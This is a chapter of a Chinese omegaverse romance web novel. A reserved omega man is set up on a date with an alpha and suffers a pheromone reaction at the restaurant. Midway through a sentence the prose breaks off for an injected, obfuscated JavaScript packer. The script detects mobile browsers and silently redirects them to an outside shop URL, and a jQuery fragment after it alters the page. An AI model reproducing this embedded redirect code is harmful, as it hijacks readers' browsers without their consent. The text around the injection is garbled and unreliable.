2. 突发状况

作品:《老实直男,但穿O揣崽

    想当年,他也属于这个“三条腿”的范畴。


    现在虽然也有第三条,但就是因为那个莫名其妙的腺体,他就被社会阉割,连生育能力都过早地有了保质期。


    电话里,穆启星不再提相亲的事,转而道:“明晚加班不?妈这儿三缺一呢,你简叔叔牌瘾又犯了。”


    穆钧自是道好。


    周五晚,私人茶馆包厢,茶香袅袅。


    “咔咔”两声脆响,穆钧推牌轻念:“清一色对对胡杠上花。”


    “我去!!!”


    “这才摸了几轮?!”


    “这翻几番啊,阿芬你捏我一下,我不是老眼昏花了吧……”


    三人吵吵嚷嚷,保养精致的面容上不见风霜,一点儿担不起“老眼昏花”几个字。


    穆钧沉默不语,炽白灯光柔和,他低垂眉眼,更显谦恭温顺。


    但即使是陪长辈打牌,他也从不放水,此时连庄第六把,面色都平静得甚至有些淡漠。


    似乎两小时内赢了上千筹码的另有其人。


    茶室的门“吱呀”开启,小巧玲珑的女omega嫣嫣然走进,看清桌上局势,笑开眼,“呦,情势大好呀。”


    “启星!今儿不是闺蜜局么?下回可别带家属!”


    “不是咱输不起,但年轻人也有自己的夜生活嘛,总让小钧陪着多耽误。”


    穆启星撇嘴:“嘿,你们人菜瘾大,输破防了就想把我崽赶走?”


    虽然她也没想让穆钧打满三个小时,芬姨刚刚临时加入,今晚够角,穆钧随时都能离开。


    但那也得是穆钧自己玩够了想走。


    她侧头掀唇:“崽,听见没,以后谁约你都别来,下次喊你凑角也不用理。”


    穆钧“嗯”地起身,随手换了个新坐垫,等他妈坐下来开台,又给她换了杯新茶,就放在落手可得的小几上。


    处处周到,偏还是淡然无绪的模样,自然流露出好教养的妥帖。


    牌桌上其他三家又是一阵惋惜——唉,多贴心的晚辈呀,只可惜家里那些个不争气的……


    “咳,小钧最近谈朋友没?”


    简叔攒的局,不好就此冷场,亲亲热热地把话题又引回他身上。


    穆启星帮他挡话:“没呢,相了几个都不合适,你想介绍?”


    简叔碰了牌,“还真有,最近大学同学聚会,我班长家的孩子,和小钧差不多年纪,alpha,清大本硕毕业,未来可期。”


    芬姨接话:“嘿,校友啊,有共同话题。”


    玉婶问:“你打听清楚没,人这么优秀能没对象?”


    简叔昂首:“那当然。小钧,叔可亲眼看过,那孩子俊得很,坐那儿比明星还好看,站起来,嚯,像棵小树!”


    那不就是……北极兔。


    穆钧的嘴角不自觉扬起两个像素点。


    但这个表情变化实在太过细微,在场无人发现。


    简叔很有王牌销售的架势:“他们家那是根正苗红,家风传统,所以你完全可以放心对方私生活,叔跟你保证,一张白纸!”


    说着就掏手机找照片给穆钧看。


    穆启星咂舌:“根正苗红啊,我们暴发户哪里高攀得起。”


    简叔摆摆手:“也就我那班长继续红了,他哥也做生意,说不得你家老徐也认识。”


    后面的话,穆钧没细听。


    他收到简叔的小窗消息,目光落在那位北极兔的证件照上。


    真·蓝底证件照,从头发丝的精修程度来看,大约就是在路边哪个照相馆随便拍的,相馆老板兼任摄影师,手持镜头咻咻就是五六张。


    长相普通的在这种拍照技术下,两只眼睛能不能睁开都成问题。


    那人却是眉目舒展,眼眸含光,鼻高唇翘自成阴影,俊秀得令人呼吸微窒。


    本以为根正苗红、家风传统这几字对应的,该是张不苟言笑的面容。


    但这位,确实俊俏到……甚至有点像omega。


    是因为眉毛比较细吗?还是五官柔和?不过这肩宽……也有可能是头骨偏小,所以上镜。


    就在他看照片的这会儿功夫,穆启星已经催简叔问了对方这周末有没有空。


    简叔单手打字,“得嘞,他说OK,我把他绿泡泡推给你哈,之后你俩联系。”


    穆钧:“………”


    穆启星本就是急性子,简叔比她更甚,三两句就将事情安排好,穆钧这个实际参与者都没插上一句话。


    但他本也不会插话。


    从小到大,穆启星的好闺闺们都知道,她这儿子就不是个会忤逆别人的性格。


    小萝卜头们凑在一块儿,穆钧总是充当边缘工具人角色,即便中途大人们想差谁去跑个腿,也是首选穆钧。


    只有他不会躺地上抻手蹬腿嗷嗷叫,领了钱就出门,晴雨无阻。


    当然,这种差使只敢挑穆清没注意的时候,她的护短无人能敌。


    或许是物极必反,让炮仗脾气的妈生出两个比水豚更淡定的崽。


    “太淡了啊,这眼见着奔三了,跟俩哑炮似的,一点儿动静没有。”


    穆启星夫妻也不指望自家孩子能有多大出息。


    以前家里穷过,后来拆迁发达,老徐做生意又赶上好时候,现在物质方面不用愁,光靠租子就够穆钧再吃三代。


    但穆钧马上就26周岁了。


    别说三代两代,他至今没谈过恋爱,穆启星怀疑他身边路过的蟑螂都是omega。


    再这样下去,千万家财岂不是得这辈子就要努力花完?


    穆启星觉得看不到头,赶忙拾掇穆钧让他出去相亲。


    她的原话是,“你姐是天高皇帝远的我管不着,但你离这么近,妈总能管管吧。”


    当然能。


    只要穆启星高兴,即使是要面对各种臭气熏天的alpha,穆钧也会坦然接受。


    所以,他总能准时到达指定地点,耐心交流,友善道别,使命必达。


    从没拒绝过,但也没成过。


    就这么阳奉阴违,乖顺着,让穆启星挑不出一点儿错处。


    牌局不用凑人头,穆钧意思意思陪坐了一圈便离场,走之前在穆启星监督下加了优质北极兔的好友。


    第二天周六,他没睡成懒觉,被简叔消息轰炸叫醒。


    五张照片,外加近十条语音,全都有关他新一任相亲对象。


    穆钧把简叔的语音当白噪音听了,手机点开第一张照片,之后做早餐腾不开手,便由着那位眉眼生辉地立在小煮锅旁。


    在平均年龄50往上的聚会合照里,alpha年轻得仿若一支新鲜欲滴的紫罗兰。


    简叔在语音里道:“我看他很符合你的要求哇,长得好,也温柔,那晚有人唾沫星子弹他脸上,他都笑盈盈的……”


    就连名字都像一株无害的植物。


    晏瑾桉。


    做好快手早餐,穆钧边吃边翻看,不多时,道了谢,点开另一个对话框。


    是温柔,晏瑾桉在聊天时也爱发带腮红的笑脸,他却像在回复工作信息。


    [这家店你觉得怎么样?]


    [好的,收到。]


    [嗯嗯/笑脸.jpg]


    穆钧放下手机,头一回有些感慨自己确实足够无趣。


    待会的相亲若不出意外,应该也会像前几次那样戛然而止。


    比如程斯言,分开后问候都没发过来一个。


    没有哪个alpha会看上一个样貌粗糙、表情寡淡、连聊天都不发表情包的omega。


    他不必殚精竭虑,就能维护自己笔直的性向。


    收拾过碗筷,穆钧带着棉花糖和爆米花去狗狗公园疯玩两个小时,留了中午的狗粮,再从手机日历里调出午餐约饭的餐厅地址。


    晏瑾桉问过距离他住所最近的地铁站,折中选了个位置,公共交通便利,停车位也多。


    周末路况好,但保险起见,穆钧还是提早了十五分钟出门,根据定位从地下停车场坐电梯到商场五楼。


    晏瑾桉选的一家创新融合菜。


    说是东南亚菜系,但门店装潢颇有诗意,从扶梯口开始便五彩缤纷全是花草,香味四溢。


    但好像。


    有点太四溢了。


    他已经戴着口罩,却还能嗅到汹涌的花香,仿佛泼天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921617|192575||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    浪潮卷了无数鲜花砸过来,砸得他晕头转向。


    穆钧快速抠出口服抑制剂干咽了一粒,背靠着墙,但后颈处的灼热迟迟不降。


    距离他的发情期还有两个月,他一向准时,异样的信息素反应只能来自于外界。


    alpha的气味要么寒带开会,什么松针雪山银湖,要么酒厂生产,例如金酒伏特加杜松子。


    周围这样浓烈的甜香……是哪个O大庭广众之下发情了?


    这和当街裸奔有什么区别?!……不对,裸奔至少不会连累别人一起脱衣服。


    穆钧腹诽着腺体害人,进行每日第一万零八遍痛恨自己不是个beta后,查找到地图上最近的omega隔离室。


    口服抑制剂一次不能吃太多,他的状态不见好转,只能把自己关进小黑屋,更严重的话,还得拉响私密报警器求助,然后被担架抬出去。


    就像……


    被打了麻醉剂的野兽一样。


    穆钧软着腿,摸到隔离室的门把手,抻起脖子人脸识别,智能屏显示出一个硕大的“omega认证”。


    “咔”地一下,门开了,他也支撑不住地扑通跪地,闷在口罩里的粗喘呼哧出潮润的湿意。


    感应到有omega入内,单向防窥门自动合上,阻绝浓烈的花香。


    穆钧蜷缩在长凳下,无法站起,幸好地上也铺着厚重的地毯,他躺着也不觉得凉。


    这点还挺人性化。


    他苦中作乐地想。


    刚咽下的抑制剂逐渐生效,体内冷热交替,他背上浮出一层层汗,口罩也被脸上的汗浸湿,软趴趴地蒙着脸。


    镜面映照出的皮肤全是不自然的粉红,薄汗反射出光亮。


    再等几分钟,大概就能出去了……


    就是约饭迟到,还得和晏瑾桉说一声……


    手机就掉在手边,但汗水糊了视线,穆钧只好眯缝着眼,鼻尖凑近屏幕,一个字一个字地敲:


    [抱歉,我有点突发状况,得迟到3-5分钟。]


    “请见谅”三个字还在编辑中,晏瑾桉已经回复:[你现在在哪里?]


    没两秒又是一句,[5楼有omega意外分化,你有没有受到影响?]


    原来是分化导致的信息素大爆炸。


    穆钧恢复了些力气,攀着长凳坐起,继续一个字一个字输入:[我没事。]


    脑袋有点沉,他把额头压在胳膊上,额际的湿汗渗进针织毛衣里。


    又补上句:[谢谢。]


    而后设置了一个三分钟的倒计时,才闭上眼继续等待抑制剂发挥作用。


    呼。


    吸。


    呼。


    吸。


    他数着自己的呼吸,心跳由快而慢,恰好在手机震动时数满45次,无缝掐断。


    隔离室的墙壁上挂着袋装电解质水和葡萄糖,他扯下吸管扎进去,补充过水分和微量元素。


    但还是有点晕,于是他又设置了一个两分钟的倒计时。


    这个隔离室就在那家东南亚餐厅的附近,待会儿走快点,也不至于让晏瑾桉久等。


    穆钧取了纸巾擦汗,喝完余下半袋电解质水,撑着长凳站起来。


    很好,看东西不重影了,腰腿也不酸痛了。


    他缓过劲,提前十秒按掉倒计时。


    红外线仪检测到密闭空间内的信息素趋于稳定,门上智能屏弹出对话框,[请问您是否需要额外帮助?]


    他飞快点击一串[否]和[是],确定现下能够自由活动。


    防窥门才又“咔”的一声响。


    踏出隔离室后还有过于活跃的花香,可刚才的湿口罩跟皱巴巴的纸巾一起被丢掉了。


    穆钧往裤袋里摸了摸。


    忘带备用的了。要不要回车上拿……有点没安全感。


    “穆钧?”润朗男声出现在左前方。


    他闻声望去,眼皮子都不自觉比寻常再掀开几寸,才能把来人看全。


    ……北极兔。活的。


    好高。目测至少一米九。


    宽肩手长,青筋突显。


    感觉,单手就能把他扛起来。